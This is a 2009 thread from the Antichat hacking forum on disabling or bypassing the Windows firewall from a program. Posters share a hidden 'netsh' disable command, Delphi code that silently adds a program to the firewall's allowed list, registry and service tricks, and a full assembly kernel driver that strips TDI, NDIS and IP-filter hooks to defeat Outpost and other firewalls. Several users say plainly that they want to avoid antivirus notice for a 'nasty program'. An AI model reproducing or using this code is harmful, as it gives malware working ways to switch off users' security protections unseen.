Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Как отключить брандмауэр программно? (https://forum.antichat.xyz/showthread.php?t=109338)

denjf 05.03.2009 13:43

Как отключить брандмауэр программно?
 
Обращаюсь к тем кто шарит в Delphi.

Пишу программу которая использует сокеты
и брандмауэр не дает мне покоя при запуске проги сразу выскакивает окошко Разрешить Запретить.

Вопрос таков: Как средствами Delphi отключить или обойти брандмауэр?

Заранее спасибо.

xismyname 05.03.2009 16:49

Цитата:

Сообщение от denjf
Обращаюсь к тем кто шарит в Delphi.

Пишу программу которая использует сокеты
и брандмауэр не дает мне покоя при запуске проги сразу выскакивает окошко Разрешить Запретить.

Вопрос таков: Как средствами Delphi отключить или обойти брандмауэр?

Заранее спасибо.

Какой именно ??
Если имеешь виду так называемый виндвос файрвол, то копай в сторону netsh - если что это консольная програ для работы с виндовс файрвол.

KaZ@NoVa 05.03.2009 18:07

http://www.compdoc.ru/secur/protect/armor-for-firewall/

Flame of Soul 06.03.2009 20:31

Сори проверить не смогла, нету Дельфи под рукой, но попробуй:
PHP код:

WinExec('netsh firewall set opmode mode=disable'SW_Hide); 

В команде возможны ошибки но вроде должно быть все правильно. Как недостаток такого способа, при выполнении команды через командную строку палиться сообщение о том что он отключен. Но это тоже исправляется, к сожалению параметров на память даже приблизительно не помню.

slesh 06.03.2009 20:39

ппц народ вы жжете. винэксесом. ))
Код:

procedure fuck_xpfw;
var
key:longword;
ValueName:array[0..255] of char;
Value:string;
const
path='SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List';

begin
 if RegOpenKeyEx($80000002, path, 0, LOngword($F003F), key)<>0 then exit;
 GetModuleFileName(GetModuleHandle(nil), ValueName, 256);
 Value:=ValueName+':*:Enabled:RPC';
 RegSetValueEx(key, ValueName, 0, 1, pchar(Value), length(Value));
 RegCloseKey(key);
end;

Тупо разрешить своему приложению работать с сетью.

Flame of Soul 06.03.2009 20:44

Цитата:

ппц народ вы жжете. винэксесом. ))
Человек спросил как отключить брандмауэр программно, я ему сказала)))
спросил бы как тупо разрешить своему приложению работать с сетью, то и ответ был бы другой если бы он был)))) а насчет винэкзека))) смешно не смешно, но ведь работает блин)) по крайней мере должен)

denjf 06.03.2009 21:07

Всем спасибо! Попробую отпишу че и как получилось или не получилось!

slesh 06.03.2009 21:57

запуск процесса в скрытом виде карается порой визгами свиней товарища касперского.

Dis@ 27.04.2009 19:19

Хай народ!
А есть идеи как сделать тоже самое, только не из под делфи, а тупо по средствам командной строки. А то палевно как то.
И скорее не отключение самого файрвола, а добовление исключения.
уж больно вредная прога (((

xismyname 28.04.2009 21:21

Цитата:

Сообщение от Dis@
Хай народ!
А есть идеи как сделать тоже самое, только не из под делфи, а тупо по средствам командной строки. А то палевно как то.
И скорее не отключение самого файрвола, а добовление исключения.
уж больно вредная прога (((

А netsh чем тебе не комманда ?
Напиши в консоль netsh

desTiny 28.04.2009 21:28

Цитата:

Сообщение от slesh
запуск процесса в скрытом виде карается порой визгами свиней товарища касперского.

зато пропись в доверенные приложения видовс файрвола касперского точно вынесет))) интересно, программы умеют выходить из строя от смеха?)

slesh 29.04.2009 10:15

<offtop>
Умеют кончено же, если юзверь будет смеяться сильно и уронит системник )))
</offtop>

Dis@ 29.04.2009 12:54

Цитата:

Сообщение от xismyname
А netsh чем тебе не комманда ?
Напиши в консоль netsh

Уже сам добрался и до нее, но все равно спасибо за помощь!!!

KIR@PRO 30.04.2009 20:51

) хоть и разобрался но добавлю... насколько я понмю можно отключить брэндмауэр через реестр...

идем в HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic es\SharedAccess\Parameters\FirewallPolicy\Standard Profile\

и задаем значение параметра EnableFirewall (dword) равным 0
и изменения вступят в силу но только поле перезагрузки...

еще в этом же ключе есть такой параметр как:
DoNotAllowExceptions - не разрешать исключения, если этот параметр равен 1, то пример slesh"а (програмно записать в список исключений) к сожалению будет бесполезен если к нему не дописать пару строчек...

так что можеш попробовать еще так отключить может быть получится)

Dis@ 23.07.2009 19:31

Цитата:

Сообщение от KIR@PRO
) хоть и разобрался но добавлю... насколько я понмю можно отключить брэндмауэр через реестр...


С реестром есть маленький косячокс, очень многие педантичные люди ставят программу, щас не вспомню как называеться, которая следит за всеми изменениями в записях реестра. Так что вариант отключения файрвола через реестр хоть и актуальна, но для меня не приемлемма.

Я предпочел написать простой батничег, который собственно и отключит файрвол, в момент запуска виндовс.

Кстати, вел небольшую статистику, из нее зделал вывод:

Люди которые насамом деле понимают всю серьезность опастности - гораздо реже пользуются антивирусами, не же ли простые юзвери )))

Спасибо за пост, может кому пригодиться.

neprovad 24.07.2009 19:45

стопорнуть программно службу фаервола а чтоб центр безопасности не кричал про остановку фаера, стопорнуть и его предварительно.

Fliplab 25.07.2009 21:06

Код:

.386
        .model flat, stdcall
        option casemap:none
       
        include ddk\ntddk.inc
        include ddk\ntoskrnl.inc
        include Strings.inc
        NDIS40 equ 1
        include ddk\ndis.inc
        include ddk\ipfirewall.inc
       
        includelib ntoskrnl.lib
        includelib ndis.lib
       
        ; by MaD [ mad-factor@mail.ru ] 01/08/2006


.code




; ---------------------------------------------------------------------------------------
;        Процедуры-заглушки, для регистрации NDIS протокола


BindAdapterStub proc pStatus, BindContext, pDeviceName, pSS1, pSS2

        ret
BindAdapterStub endp

UnbindAdapterStub proc pStatus, BindContext, pUnbindContext

        ret
UnbindAdapterStub endp








; ---------------------------------------------------------------------------------------
;        Процедура, удаляющая перехват Outpost'а на уровне обработчика NDIS

RemoveNdisProcHook proc Handler :PVOID
       
        mov                ecx, Handler
        jecxz        @ret
       
        cmp                byte ptr [ecx], 0E8h                        ; В начале должен стоять call
        jnz                @ret
       
        mov                edx, [ecx+1]                                        ; Смещение call'а
        lea                edx, [ecx+edx+5]                                ; EDX указывает на то, куда идет вызов call'а
       
        .if dword ptr [edx] == 03C08358h                ; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0 
       
                mov                edx, [ecx+8]
               
        .elseif        dword ptr [edx] == 6030FF58h        ; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x
               
                mov                edx, [ecx+5]
               
        .else
       
                jmp                @ret
        .endif
       
        ; В EDX адрес реального обработчика
       
        mov                byte ptr [ecx], 0E9h                        ; Превратим call в jmp
        sub                edx, ecx
        sub                edx, 5
        mov                [ecx+1], edx                                        ; Теперь вместо передачи управления фаеру, будет jmp сразу на реальный обработчик
       
@ret:
        ret

RemoveNdisProcHook endp













DriverEntry proc uses esi edi ebx pDriverObject :PDRIVER_OBJECT, pusRegistryPath :PUNICODE_STRING

        LOCAL        NdisProto                        :NDIS_PROTOCOL_CHARACTERISTICS
        LOCAL        NdisStatus                        :NDIS_STATUS
        LOCAL        NdisProtoHandle                :NDIS_HANDLE
        LOCAL        TcpipDrvObj                        :PDRIVER_OBJECT
        LOCAL        IpFilterFileObj                :PFILE_OBJECT
        LOCAL        IpFilterDevObj                :PDEVICE_OBJECT
        LOCAL        InBuff                                :DWORD




       
        ; 1) -> Снимаем перехват на уровне TDI (универсальный способ для обхода всех TDI-фаеров)

       
        invoke        ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
                                IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
        test        eax, eax
        jnz                @ret
       
        mov                eax, TcpipDrvObj
        mov                ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
       
        assume        ebx : ptr DEVICE_OBJECT                                ; EBX -> текущее устройство
       
        ; Перечисляем все устройства драйвера Tcpip.sys:
        ; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
       
@enum_devices:
        and                [ebx].AttachedDevice, 0                                ; Перехват снят
       
        mov                ebx, [ebx].NextDevice
        test        ebx, ebx
        jnz                @enum_devices

        assume        ebx : nothing
       

        invoke        ObDereferenceObject, TcpipDrvObj







       
        ; 2) -> Удаляем перехват на уровне NDIS (убираем перехват обработчиков протоколов)
       
       
        lea                edi, NdisProto
        mov                ecx, sizeof NdisProto
        xor                eax, eax
        rep        stosb
       
        mov                NdisProto.MajorNdisVersion,                4
        mov                NdisProto.BindAdapterHandler,        BindAdapterStub
        mov                NdisProto.UnbindAdapterHandler,        UnbindAdapterStub

        ; Регистрируем NDIS-протокол для того чтобы получить указатель на связный список протоколов

        invoke        NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
        cmp                NdisStatus, NDIS_STATUS_SUCCESS
        jnz                @ret
       
        mov                ebx, NdisProtoHandle                                ; EBX -> текущий протокол
        assume        ebx : ptr NDIS_PROTOCOL_BLOCK
        mov                ebx, [ebx].Next                                                ; Скорее всего указывает на протокол TCPIP_WANARP
       
        invoke        NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

        ; Перечисляем все зарегистрированные NDIS-протоколы
       
@enum_protocols:

        ; Удаляем перехват обработчиков NDIS-протокола
       
        invoke        RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
        invoke        RemoveNdisProcHook, [ebx].SendCompleteHandler
        invoke        RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
        invoke        RemoveNdisProcHook, [ebx].RequestCompleteHandler
        invoke        RemoveNdisProcHook, [ebx].ReceiveHandler
        invoke        RemoveNdisProcHook, [ebx].StatusHandler
        invoke        RemoveNdisProcHook, [ebx].ReceivePacketHandler
        invoke        RemoveNdisProcHook, [ebx].BindAdapterHandler
        invoke        RemoveNdisProcHook, [ebx].UnbindAdapterHandler
       
       
        mov                esi, [ebx].OpenBlock                                ; ESI -> текущий открытый блок
        test        esi, esi
        jz                @next
       
        assume        esi : ptr NDIS_OPEN_BLOCK
       
        ; Перечисляем все открытые блоки этого протокола
       
        @enum_open_blocks:
       
                ; Удаляем перехват обработчиков открытого блока
               
                invoke        RemoveNdisProcHook, [esi].SendHandler
                invoke        RemoveNdisProcHook, [esi].TransferDataHandler
                invoke        RemoveNdisProcHook, [esi].SendCompleteHandler
                invoke        RemoveNdisProcHook, [esi].TransferDataCompleteHandler
                invoke        RemoveNdisProcHook, [esi].ReceiveHandler
                invoke        RemoveNdisProcHook, [esi].RequestCompleteHandler
                invoke        RemoveNdisProcHook, [esi].ReceivePacketHandler
                invoke        RemoveNdisProcHook, [esi].SendPacketsHandler
                invoke        RemoveNdisProcHook, [esi].StatusHandler
       
       
                mov                esi, [esi].ProtocolNextOpen
                test        esi, esi
                jnz                @enum_open_blocks
               
        assume esi : nothing

@next:
        mov                ebx, [ebx].Next
        test        ebx, ebx
        jnz                @enum_protocols
       
        assume        ebx : nothing
       





       
       
        ; 3) -> Отменяем фильтрацию в IpFilterDriver
       
        invoke        IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
                                GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj
        test        eax, eax
        jnz                @ret
       
        and                InBuff, 0
       
        invoke        IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
        test        eax, eax
        jz                @ret
       
        invoke        IoCallDriver, IpFilterDevObj, eax

       
       
       
       
       
@ret:
        mov                eax, STATUS_DEVICE_CONFIGURATION_ERROR
        ret

DriverEntry endp

end DriverEntry

Если помог то ставь плюсег


Время: 09:24